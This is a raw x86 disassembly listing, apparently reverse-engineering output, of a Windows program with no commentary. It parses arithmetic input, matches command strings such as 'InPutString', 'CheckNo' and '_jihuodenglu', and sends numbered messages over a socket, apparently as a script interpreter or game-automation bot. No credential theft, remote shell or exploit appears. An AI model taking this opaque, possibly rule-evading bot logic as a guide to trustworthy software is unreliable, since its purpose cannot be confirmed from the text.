je 0x40667d
sub eax, 2
jne 0x40667f
sub esi, dword [ecx]
jmp 0x40667f
add esi, dword [ecx]
mov al, byte [edx + 1]
add ecx, 4
inc edx
test al, al
jne 0x40666c
mov dword [esp + 0x14], esi
jmp 0x4067a9
cmp al, 0xa3
jne 0x4067a9
lea edi, [esp + 0x90]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x14], 0
repne scasb al, byte es:[edi]
not ecx
test ecx, ecx
jle 0x40675d
lea eax, [esp + 0xd8]
mov dword [esp + 0x48], eax
mov ecx, dword [esp + 0x14]
mov al, byte [esp + ecx + 0x90]
lea edi, [esp + ecx + 0x90]
cmp al, 0xb0
jl 0x4066e9
cmp al, 0xb9
jg 0x4066e9
add al, 0x80
mov byte [esp + edx + 0x24], al
inc edx
jmp 0x406720
cmp al, 0x2b
je 0x4066f7
cmp al, 0x2d
je 0x4066f7
test al, al
je 0x406743
jmp 0x406720
mov byte [esp + edx + 0x24], 0
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.MSVCRT.dll_atoi]
mov ecx, dword [esp + 0x4c]
add esp, 4
inc esi
mov dword [ecx], eax
mov al, byte [edi]
mov byte [esp + esi + 0x33], al
add ecx, 4
mov dword [esp + 0x48], ecx
xor edx, edx
mov eax, dword [esp + 0x14]
lea edi, [esp + 0x90]
inc eax
or ecx, 0xffffffff
mov dword [esp + 0x14], eax
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x14]
not ecx
cmp eax, ecx
jl 0x4066c6
jmp 0x40675d
lea ecx, [esp + 0x24]
mov byte [esp + edx + 0x24], 0
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov dword [esp + esi*4 + 0xd8], eax
mov al, byte [esp + 0x34]
mov edx, dword [esp + 0xd8]
test al, al
mov dword [esp + 0x14], edx
je 0x4067a9
lea edx, [esp + 0x34]
lea ecx, [esp + 0xdc]
movsx eax, al
sub eax, 0x2b
je 0x406792
sub eax, 2
jne 0x40679e
mov eax, dword [ecx]
mov esi, dword [esp + 0x14]
sub esi, eax
jmp 0x40679a
mov eax, dword [ecx]
mov esi, dword [esp + 0x14]
add esi, eax
mov dword [esp + 0x14], esi
mov al, byte [edx + 1]
add ecx, 4
inc edx
test al, al
jne 0x40677b
lea ecx, [esp + 0x1c8]
push 0x40ed40
push ecx
call ebx
add esp, 8
test eax, eax
je 0x4068bf
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0
push 0
lea esi, [ebp + 0x2404]
push 0
push 0xbd6
push esi
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
push ebx
push esi
call fcn.00402280
mov eax, dword [ebp + 0x2844]
add esp, 0x24
cmp eax, 9
jl 0x406810
mov dword [ebp + 0x2844], 1
jmp 0x406817
inc eax
mov dword [ebp + 0x2844], eax
lea edx, [esp + 0x50]
test edx, edx
je 0x40686a
lea edi, [esp + 0x50]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
lea eax, [esp + 0x58]
push edx
push eax
call fcn.00401bb0
mov ecx, dword [ebp + 0x2844]
add esp, 0x10
lea eax, [ebp + 0x2430]
lea esi, [ebp + 4]
push eax
push ebx
push ecx
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x406884
mov edx, dword [ebp + 0x2844]
push ebx
lea esi, [ebp + 4]
push edx
push str._d_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [ebp + 0x2854]
cmp edx, 0xffffffff
je 0x409307
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x409307
mov eax, dword [ebp + 0x2854]
push eax
jmp 0x4092f7
lea ecx, [esp + 0x1c8]
push str.CTRLH
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x409209
lea edx, [esp + 0x1c8]
push 0x40ed28
push edx
call ebx
add esp, 8
test eax, eax
jne 0x409209
lea eax, [esp + 0x1c8]
push 0x40ed1c
push eax
call ebx
add esp, 8
test eax, eax
je 0x406b59
mov cl, byte [0x40f8a0]
mov ebx, dword [esp + 0x10]
mov byte [esp + 0xd8], cl
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0xd9]
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
push pe_nt_image_headers32
rep stosd dword es:[edi], eax
push ebx
stosb byte es:[edi], al
call esi
push 0x3e
push ebx
mov edi, eax
call esi
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
mov byte [edx], 0
lea esi, [esp + 0x50]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x18], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
mov byte [edx], 0x2f
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test esi, esi
jle 0x406a56
mov cl, byte [eax + ebx]
cmp cl, 0xa3
jne 0x40699d
cmp byte [eax + ebx + 2], cl
jne 0x40699d
cmp byte [eax + ebx + 4], cl
je 0x4069fe
cmp cl, 0x30
jl 0x4069f7
cmp cl, 0x39
jg 0x4069c3
mov dl, byte [eax + ebx + 1]
cmp dl, 0x30
jl 0x4069c3
cmp dl, 0x39
jg 0x4069c3
mov dl, byte [eax + ebx + 2]
cmp dl, 0x30
jl 0x4069c3
cmp dl, 0x39
jle 0x406a1c
cmp cl, 0x30
jl 0x4069f7
cmp cl, 0x39
jg 0x4069f7
cmp byte [eax + ebx + 1], 0x2e
jne 0x4069f7
mov dl, byte [eax + ebx + 2]
cmp dl, 0x30
jl 0x4069f7
cmp dl, 0x39
jg 0x4069f7
cmp byte [eax + ebx + 3], 0x2e
jne 0x4069f7
mov dl, byte [eax + ebx + 4]
cmp dl, 0x30
jl 0x4069f7
cmp dl, 0x39
jle 0x406a39
inc eax
cmp eax, esi
jl 0x406989
jmp 0x406a56
xor esi, esi
cmp byte [eax + ebx], 0xa3
jne 0x406a14
mov cl, byte [eax + ebx + 1]
add cl, 0x80
add eax, 2
mov byte [esp + esi + 0x24], cl
inc esi
cmp esi, 0x14
jl 0x406a00
jmp 0x406a56
xor edx, edx
add eax, ebx
mov cl, byte [eax]
cmp cl, 0x30
jl 0x406a31
cmp cl, 0x39
jg 0x406a31
mov byte [esp + edx + 0x24], cl
inc eax
inc edx
cmp edx, 0xa
jl 0x406a20
jmp 0x406a56
xor edx, edx
add eax, ebx
mov cl, byte [eax]
cmp cl, 0x30
jl 0x406a50
cmp cl, 0x39
jg 0x406a50
mov byte [esp + edx + 0x24], cl
add eax, 2
inc edx
cmp edx, 0x14
jl 0x406a3d
xor ecx, ecx
mov al, byte [esp + ecx + 0x24]
cmp al, 0x30
jl 0x406a64
cmp al, 0x39
jle 0x406a69
mov byte [esp + ecx + 0x24], 0
inc ecx
cmp ecx, 0xa
jl 0x406a58
lea edx, [esp + 0x24]
lea eax, [esp + 0x50]
push edx
push eax
lea ecx, [esp + 0xe0]
push str._s_r_s
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edx, dword [esp + 0x5c]
push 0
push 0
push 0
push edx
lea eax, [esp + 0xa4]
push 0x3f3
push eax
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
lea ecx, [esp + 0xb0]
push ebx
push ecx
call fcn.00402280
lea edi, [esp + 0x10c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
lea edx, [esp + 0x118]
push edx
call fcn.00401bb0
mov eax, dword [ebp + 0x2844]
add esp, 0x44
cmp eax, 9
jl 0x406b04
mov dword [ebp + 0x2844], 1
jmp 0x406b0b
inc eax
mov dword [ebp + 0x2844], eax
lea eax, [ebp + 0x2430]
lea esi, [ebp + 4]
push eax
mov eax, dword [ebp + 0x2844]
push ebx
push eax
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [ebp + 0x2854]
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x409307
lea edx, [esp + 0x1c8]
push str.InPutString
push edx
call ebx
add esp, 8
test eax, eax
je 0x406e50
mov dl, byte [0x40f8a0]
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0xd9]
mov byte [esp + 0xd8], dl
mov byte [esp + 0x164], dl
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x165]
push 0x40ed04
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1cc]
push eax
call ebx
add esp, 8
test eax, eax
je 0x406c16
lea ecx, [esp + 0x1c8]
push 0x40ed04
push ecx
call ebx
lea edx, [esp + 0x1d0]
push 0x40ed00
mov esi, eax
push edx
call ebx
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esi, 2
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0xe8]
sub ecx, edx
push ecx
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x1c
jmp 0x406d63
lea ecx, [esp + 0x1c8]
push 0x40ecfc
push ecx
call ebx
add esp, 8
test eax, eax
je 0x406c4c
lea edx, [esp + 0x1c8]
push 0x40ecfc
push edx
call ebx
mov esi, eax
lea eax, [esp + 0x1d0]
push 0x40ecf8
push eax
jmp 0x406bdf
lea ecx, [esp + 0x1c8]
push 0x40ecec
push ecx
call ebx
add esp, 8
test eax, eax
je 0x406d24
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString_1
lea edx, [esp + 0x1c8]
lea ecx, [esp + 0x1c]
push edx
mov dword [esp + 0x21d4], 0
call sub.MFC42.DLL_CString::operator
push 0x40ecec
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x406d0e
push 0x40ecec
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
add eax, 8
lea ecx, [esp + 0x1c]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x40ece8
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [esp + 0x160]
push eax
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xd8]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x15c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov dword [esp + 0x21d0], 0xffffffff
call sub.MFC42.DLL_CString::CString
jmp 0x406d63
lea ecx, [esp + 0x1c8]
push 0x40ecdc
push ecx
call ebx
add esp, 8
test eax, eax
je 0x406d63
mov edi, str.dsfjahdf
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xd8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xd8]
lea edx, [esp + 0x50]
push ecx
push edx
lea eax, [esp + 0x16c]
push str._s_r_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, dword [esp + 0x5c]
push 0
push 0
push 0
push ecx
lea edx, [esp + 0xa4]
push 0x3f3
push edx
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
lea eax, [esp + 0xb0]
push ebx
push eax
call fcn.00402280
lea edi, [esp + 0x198]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
lea ecx, [esp + 0x1a4]
push ecx
call fcn.00401bb0
add esp, 0x44
mov eax, dword [ebp + 0x2844]
cmp eax, 9
jl 0x406dfb
mov dword [ebp + 0x2844], 1
jmp 0x406e02
inc eax
mov dword [ebp + 0x2844], eax
mov edx, dword [ebp + 0x2844]
lea eax, [ebp + 0x2430]
push eax
push ebx
lea esi, [ebp + 4]
push edx
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 0x2854]
not ecx
dec ecx
push ecx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x409307
lea ecx, [esp + 0x1c8]
push str.InPutInteger
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x408e35
lea edx, [esp + 0x1c8]
push str.inputinteger
push edx
call ebx
add esp, 8
test eax, eax
jne 0x408e35
lea eax, [esp + 0x1c8]
push str.CHECKNO
push eax
call ebx
add esp, 8
test eax, eax
jne 0x408e35
lea ecx, [esp + 0x1c8]
push str.CheckNo
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x408e35
lea edx, [esp + 0x1c8]
push 0x40ec9c
push edx
call ebx
add esp, 8
test eax, eax
je 0x406ee8
lea eax, [esp + 0x1c8]
push 0x40ec98
push eax
call ebx
add esp, 8
test eax, eax
jne 0x407b4a
lea ecx, [esp + 0x1c8]
push 0x40ec94
push ecx
call ebx
add esp, 8
test eax, eax
je 0x406f18
lea edx, [esp + 0x1c8]
push 0x40ec90
push edx
call ebx
add esp, 8
test eax, eax
jne 0x407b4a
lea eax, [esp + 0x1c8]
push 0x40ec8c
push eax
call ebx
add esp, 8
test eax, eax
je 0x406f5e
lea ecx, [esp + 0x1c8]
push 0x40ec88
push ecx
call ebx
add esp, 8
test eax, eax
je 0x406f5e
lea edx, [esp + 0x1c8]
push 0x40ec84
push edx
call ebx
add esp, 8
test eax, eax
jne 0x407b4a
lea eax, [esp + 0x1c8]
push 0x40ec7c
push eax
call ebx
add esp, 8
test eax, eax
je 0x406fa4
lea ecx, [esp + 0x1c8]
push 0x40ec74
push ecx
call ebx
add esp, 8
test eax, eax
je 0x406fa4
lea edx, [esp + 0x1c8]
push 0x40ec6c
push edx
call ebx
add esp, 8
test eax, eax
jne 0x407b4a
lea eax, [esp + 0x1c8]
push 0x40ec68
push eax
call ebx
add esp, 8
test eax, eax
je 0x406fea
lea ecx, [esp + 0x1c8]
push 0x40ec64
push ecx
call ebx
add esp, 8
test eax, eax
je 0x406fea
lea edx, [esp + 0x1c8]
push 0x40ec60
push edx
call ebx
add esp, 8
test eax, eax
jne 0x407b4a
lea eax, [esp + 0x1c8]
push 0x40ec5c
push eax
call ebx
add esp, 8
test eax, eax
je 0x40701a
lea ecx, [esp + 0x1c8]
push 0x40ec58
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x407b4a
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
lea edx, [esp + 0x1c8]
push 0x2b
push edx
call esi
add esp, 8
test eax, eax
jne 0x407059
lea eax, [esp + 0x1c8]
push 0x2d
push eax
call esi
add esp, 8
test eax, eax
jne 0x407059
lea ecx, [esp + 0x1c8]
push 0x2a
push ecx
call esi
add esp, 8
test eax, eax
je 0x407070
lea edx, [esp + 0x1c8]
push 0x3d
push edx
call esi
add esp, 8
test eax, eax
jne 0x407b4a
lea eax, [esp + 0x1c8]
push 0x40ed5c
push eax
call ebx
add esp, 8
test eax, eax
je 0x4070a0
lea ecx, [esp + 0x1c8]
push 0x40ed4c
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x407b4a
lea edx, [esp + 0x1c8]
push str.__delaye_
push edx
call ebx
add esp, 8
test eax, eax
jne 0x409307
lea eax, [esp + 0x1c8]
push 0x40ec3c
push eax
call ebx
add esp, 8
test eax, eax
jne 0x409307
lea ecx, [esp + 0x1c8]
push 0x40ec2c
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x409307
lea edx, [esp + 0x1c8]
push 0x40ec20
push edx
call ebx
add esp, 8
test eax, eax
jne 0x409307
lea eax, [esp + 0x1c8]
push 0x40ec14
push eax
call ebx
add esp, 8
test eax, eax
jne 0x409307
lea ecx, [esp + 0x1c8]
push 0x40ec00
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x409307
lea edx, [esp + 0x1c8]
push 0x40ebf0
push edx
call ebx
add esp, 8
test eax, eax
jne 0x409307
lea eax, [esp + 0x1c8]
push 0x40ebe0
push eax
call ebx
add esp, 8
test eax, eax
jne 0x409307
lea ecx, [esp + 0x1c8]
push 0x40ebd0
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x409307
lea edx, [esp + 0x1c8]
push 0x40ebbc
push edx
call ebx
add esp, 8
test eax, eax
jne 0x409307
lea eax, [esp + 0x1c8]
push str.__pre_cube_
push eax
call ebx
add esp, 8
test eax, eax
je 0x407385
mov ecx, dword [esp + 0x4c]
push 0
push 0
push 0
push ecx
lea edx, [esp + 0x94]
push 0x3f3
push edx
call fcn.004022e0
lea eax, [ebp + 0x2410]
push 0x20
push eax
lea eax, [esp + 0xa4]
push eax
call fcn.00402280
lea edi, [esp + 0x74]
or ecx, 0xffffffff
xor eax, eax
push 0x400
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ebp + 0x2430]
push ecx
lea ecx, [esp + 0x7c]
push edx
push ecx
call fcn.00401bb0
mov eax, dword [ebp + 0x2844]
add esp, 0x34
cmp eax, 9
jl 0x407230
mov dword [ebp + 0x2844], 1
jmp 0x407237
inc eax
mov dword [ebp + 0x2844], eax
mov edx, dword [ebp + 0x2844]
lea eax, [ebp + 0x2430]
push eax
lea eax, [ebp + 0x2410]
push eax
lea ebx, [ebp + 4]
push edx
push str._d_s_s_
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 0x2854]
push 0
not ecx
dec ecx
push ecx
push ebx
push eax
call dword [sym.imp.WS2_32.dll_send]
push 0x12c
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x50]
lea edx, [esp + 0x50]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, str._cube
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x90]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x58]
push ecx
push 0x3f3
push edx
call fcn.004022e0
lea eax, [ebp + 0x2410]
push 0x20
push eax
lea eax, [esp + 0xa4]
push eax
call fcn.00402280
lea edi, [esp + 0x74]
or ecx, 0xffffffff
xor eax, eax
push 0x400
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp + 0x2430]
push ecx
lea ecx, [esp + 0x7c]
push eax
push ecx
call fcn.00401bb0
mov eax, dword [ebp + 0x2844]
add esp, 0x34
cmp eax, 9
jl 0x40732d
mov dword [ebp + 0x2844], 1
jmp 0x407334
inc eax
mov dword [ebp + 0x2844], eax
mov edx, dword [ebp + 0x2844]
lea eax, [ebp + 0x2430]
push eax
lea eax, [ebp + 0x2410]
push eax
push edx
push str._d_s_s_
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 0x2854]
not ecx
dec ecx
push ecx
push ebx
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x409307
lea ecx, [esp + 0x1c8]
push 0x40eb9c
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea edx, [esp + 0x1c8]
push 0x40eb90
push edx
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea eax, [esp + 0x1c8]
push 0x40eb84
push eax
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea ecx, [esp + 0x1c8]
push 0x40eb78
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea edx, [esp + 0x1c8]
push 0x40eb6c
push edx
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea eax, [esp + 0x1c8]
push 0x40eb60
push eax
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea ecx, [esp + 0x1c8]
push 0x40eb58
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea edx, [esp + 0x1c8]
push 0x40eb4c
push edx
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea eax, [esp + 0x1c8]
push 0x40eb40
push eax
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea ecx, [esp + 0x1c8]
push 0x40eb34
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea edx, [esp + 0x1c8]
push 0x40eb28
push edx
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea eax, [esp + 0x1c8]
push 0x40eb1c
push eax
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea ecx, [esp + 0x1c8]
push 0x40eb10
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x407904
lea edx, [esp + 0x1c8]
push 0x40eb04
push edx
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea eax, [esp + 0x1c8]
push 0x40eafc
push eax
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea ecx, [esp + 0x1c8]
push 0x40eaf0
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea edx, [esp + 0x1c8]
push 0x40eae8
push edx
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea eax, [esp + 0x1c8]
push 0x40ead8
push eax
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea ecx, [esp + 0x1c8]
push 0x40eacc
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea edx, [esp + 0x1c8]
push str.__huicheng_
push edx
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea eax, [esp + 0x1c8]
push 0x40eab8
push eax
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea ecx, [esp + 0x1c8]
push str.__biqi_
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea edx, [esp + 0x1c8]
push str.__true_
push edx
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea eax, [esp + 0x1c8]
push str.__jihuodenglu_
push eax
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
lea ecx, [esp + 0x1c8]
push 0x40ea88
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x4076d6
mov edx, dword [esp + 0x4c]
push eax
push eax
push eax
push edx
lea eax, [esp + 0x94]
push 0x3f3
push eax
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
lea ecx, [esp + 0xa0]
push ebx
push ecx
call fcn.00402280
lea edi, [esp + 0x74]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
lea edx, [esp + 0x80]
push edx
call fcn.00401bb0
mov eax, dword [ebp + 0x2844]
add esp, 0x34
cmp eax, 9
jl 0x407681
mov dword [ebp + 0x2844], 1
jmp 0x407688
inc eax
mov dword [ebp + 0x2844], eax
lea eax, [ebp + 0x2430]
lea esi, [ebp + 4]
push eax
mov eax, dword [ebp + 0x2844]
push ebx
push eax
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [ebp + 0x2854]
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x409307
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x50]
lea edx, [esp + 0x1c8]
rep stosd dword es:[edi], eax
push 0x40eb04
push edx
stosw word es:[edi], ax
call ebx
add esp, 8
test eax, eax
je 0x407709
lea edx, [esp + 0x50]
mov edi, 0x40ea7c
jmp 0x407887
lea ecx, [esp + 0x1c8]
push 0x40eafc
push ecx
call ebx
add esp, 8
test eax, eax
je 0x40772d
lea edx, [esp + 0x50]
mov edi, 0x40ea74
jmp 0x407887
lea ecx, [esp + 0x1c8]
push 0x40eae8
push ecx
call ebx
add esp, 8
test eax, eax
je 0x407751
lea edx, [esp + 0x50]
mov edi, 0x40ea6c
jmp 0x407887
lea ecx, [esp + 0x1c8]
push 0x40eaf0
push ecx
call ebx
add esp, 8
test eax, eax
je 0x407775
lea edx, [esp + 0x50]
mov edi, 0x40ea60
jmp 0x407887
lea ecx, [esp + 0x1c8]
push 0x40ead8
push ecx
call ebx
add esp, 8
test eax, eax
je 0x407799
lea edx, [esp + 0x50]
mov edi, 0x40ea54
jmp 0x407887
lea ecx, [esp + 0x1c8]
push 0x40eacc
push ecx
call ebx
add esp, 8
test eax, eax
je 0x4077bd
lea edx, [esp + 0x50]
mov edi, 0x40ea48
jmp 0x407887
lea ecx, [esp + 0x1c8]
push str.__huicheng_
push ecx
call ebx
add esp, 8
test eax, eax
je 0x4077e1
lea edx, [esp + 0x50]
mov edi, str._huicheng
jmp 0x407887
lea ecx, [esp + 0x1c8]
push 0x40eab8
push ecx
call ebx
add esp, 8
test eax, eax
je 0x407805
lea edx, [esp + 0x50]
mov edi, 0x40ea34
jmp 0x407887
lea ecx, [esp + 0x1c8]
push str.__biqi_
push ecx
call ebx
add esp, 8
test eax, eax
je 0x407826
lea edx, [esp + 0x50]
mov edi, str._biqi
jmp 0x407887
lea ecx, [esp + 0x1c8]
push str.__true_
push ecx
call ebx
add esp, 8
test eax, eax
je 0x407847
lea edx, [esp + 0x50]
mov edi, str._true
jmp 0x407887
lea ecx, [esp + 0x1c8]
push str.__jihuodenglu_
push ecx
call ebx
add esp, 8
test eax, eax
je 0x407868
lea edx, [esp + 0x50]
mov edi, str._jihuodenglu
jmp 0x407887
lea ecx, [esp + 0x1c8]
push 0x40ea00
push ecx
call ebx
add esp, 8
test eax, eax
je 0x4078a4
lea edx, [esp + 0x50]
mov edi, str._exit
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x4c]
push 0
push 0
push 0
push ecx
lea edx, [esp + 0x94]
push 0x3f3
push edx
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
lea eax, [esp + 0xa0]
push ebx
push eax
call fcn.00402280
lea edi, [esp + 0x74]
or ecx, 0xffffffff
xor eax, eax
push 0x400
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ebp + 0x2430]
push ecx
lea ecx, [esp + 0x7c]
push edx
push ecx
call fcn.00401bb0
add esp, 0x34
jmp 0x406de4
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x50]
push 0x40e9ec
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1cc]
push ecx
stosw word es:[edi], ax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea edx, [esp + 0x1c8]
push 0x40e9e4
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea eax, [esp + 0x1c8]
push 0x40e9d8
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea ecx, [esp + 0x1c8]
push 0x40e9cc
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea edx, [esp + 0x1c8]
push 0x40e9c0
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea eax, [esp + 0x1c8]
push 0x40e9b4
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea ecx, [esp + 0x1c8]
push 0x40e9ac
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea edx, [esp + 0x1c8]
push 0x40e9a0
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea eax, [esp + 0x1c8]
push 0x40e994
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea ecx, [esp + 0x1c8]
push 0x40e98c
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea edx, [esp + 0x1c8]
push 0x40e980
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x407a47
lea eax, [esp + 0x1c8]
push 0x40e974
push eax
call ebx
add esp, 8
